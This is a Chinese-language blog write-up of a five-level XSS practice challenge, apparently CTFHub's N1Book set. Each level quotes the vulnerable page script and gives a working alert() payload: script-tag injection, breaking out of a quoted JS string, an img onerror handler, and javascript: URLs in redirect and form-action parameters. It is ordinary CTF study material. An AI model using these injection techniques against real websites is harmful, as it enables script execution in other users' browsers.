X!S!S!

发布于 2023-03-04  0 次阅读


level1

没有过滤,只需要注意传入时进行URL编码即可

 <script>alert(1919810)</script>

payload:username=%3Cscript%3Ealert(1919810)%3C%2Fscript%3E

level2

注意到网页下方有以下script

 if(location.search == ""){
     location.search = "?username=xss"
 }
 var username = '1919810';
 document.getElementById('ccc').innerHTML= "Welcome " + escape(username);

其中1919810为用户通过GET方式传入的数据。

前面的if用于帮你加上username,作用不大,主要是传入时的escape()函数,对其进行了转义。关于此函数的介绍:JavaScript escape() 函数 | 菜鸟教程 (runoob.com)

我们可以通过两种方式绕过这里的escape,一种是在后面的过滤器中做文章,另一种是直接在js中写进我们的payload。

方法一:

JS变异小技巧:使用JavaScript全局变量绕过XSS过滤器 - 知乎 (zhihu.com)

我不会,长大后再学习

方法二:

对于var username = '1919810';,我们可以通过修改传入的数据构造形如var username = '114514';alert(1919810);//';的payload

首先使用单引号闭合前面定义的变量,加上分号让其语句结束。之后接上我们的恶意代码alert(),同时也要加上分号。最后还有剩下的一个单引号和分号,直接使用注释注释掉即可

payload:username=114514';alert(1919810);//

level3

方法一

继续用上一个方法二的payload,发现它不讲武德,把单引号给转义了(添加了一个\)

只需要再加一个单引号就可以了

 114514'';alert(1919810);//

这事为什么呢?我们可以试一下对这里面的单引号转义

 114514\'';alert(1919810);//

可以看到,只转义了一个单引号,这样我们的username为114514',剩下的内容和level2就相同了

有人要问了:ん?这个转义不应该是\'\'吗?

这边建议自己试下访问/level3?username=%27%27看看源码,这里提供一个简化版的demo(转义怎么转的鬼知道)

 <html><head><script type="text/javascript" src="main.js"></script></head><body>
 ​
 <div id="ccc"></div>
 ​
 <script type="text/javascript">
     if(location.search == ""){
         location.search = "?username=xss"
    }
     var username = '<?php echo $_GET["username"]; ?>';
     document.getElementById('ccc').innerHTML= "Welcome " + username;
 </script>
 ​
 </body></html>

payload:username=114514'';alert(1919810);//

方法二

CTFHub_N1Book-XSS闯关(XSS) - 码农教程 (manongjc.com)

这里是DOM用户输入将被js动态的写入html中,说白了就是把html代码写进去了。随便弄个能执行的就可以辣。

原理是利用HTML5的全局事件属性onerror,当错误发生时运行脚本。

因为全局属性嘛,随便拉过来一个能出错的标签就行。

img(video什么之类的都是...)会在找不到路径的时候报错,随便填一个地址再加上恶意代码就可以了

payload:xss<img src=monianhello.toooooooop/nosuchvideo.mp5 onerror=alert(114514) />

level4:

这个有点长,咱看前面就好

 var time = 10;
 var jumpUrl;
 if(getQueryVariable('jumpUrl') == false){
  jumpUrl = location.href;
 }else{
  jumpUrl = getQueryVariable('jumpUrl');
 }
 setTimeout(jump,1000,time);
 function jump(time){
  if(time == 0){
  location.href = jumpUrl;
  }else{
  time = time - 1 ;
  document.getElementById('ccc').innerHTML= `页面${time}秒后将会重定向到${escape(jumpUrl)}`;
  setTimeout(jump,1000,time);
  }
 }
 function getQueryVariable(variable)
 {
  var query = window.location.search.substring(1);
  var vars = query.split("&");
  for (var i=0;i<vars.length;i++) {
  var pair = vars[i].split("=");
  if(pair[0] == variable){return pair[1];}
  }
  return(false);
 }
 ​

首先是getQueryVariable('jumpUrl')这个方法,这个方法是js中用于获取get传参,可以理解为php中的$_GET["jumpUrl"];

这里告诉我们jumpUrl是可控的,而在后面代码将它运行了。

我们只需要创建一个可以运行js的链接就能实现XSS漏洞。使用javascript:伪协议即可

payload:jumpUrl=javascript:alert()

level5:

 if(getQueryVariable('autosubmit') !== false){
  var autoForm = document.getElementById('autoForm');
  autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');
  autoForm.submit();
 }else{
 
 }
 function getQueryVariable(variable)
 {
  var query = window.location.search.substring(1);
  var vars = query.split("&");
  for (var i=0;i<vars.length;i++) {
  var pair = vars[i].split("=");
  if(pair[0] == variable){return pair[1];}
  }
  return(false);
 }

表单漏洞action=javascript:alert(114514)&autosubmit=True


若金色的阳光停止了它耀眼的光芒,你的一个微笑,将照亮我的整个世界